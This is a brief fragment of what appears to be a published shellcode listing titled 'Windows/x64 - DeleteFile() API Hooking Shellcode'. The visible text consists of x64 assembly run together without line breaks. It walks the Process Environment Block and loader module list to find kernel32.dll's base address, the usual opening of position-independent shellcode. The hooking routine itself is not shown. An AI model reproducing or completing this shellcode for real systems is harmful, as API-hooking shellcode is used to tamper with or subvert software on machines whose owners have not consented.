Windows/x64 - DeleteFile() API Hooking Shellcode
xor rdx,rdxmov rax,[gs:rdx+0x60] ;PPEBmov rax,[rax+24] ;PPEB->Ldrmov rsi,[rax+32] ;Ldr->InMemOrderModuleList.Flinkmov rax,[rsi]mov rsi,[rax]  mov rdi,[rsi+32] ;rdi=kernel32.dll base Address  ;--------------------------------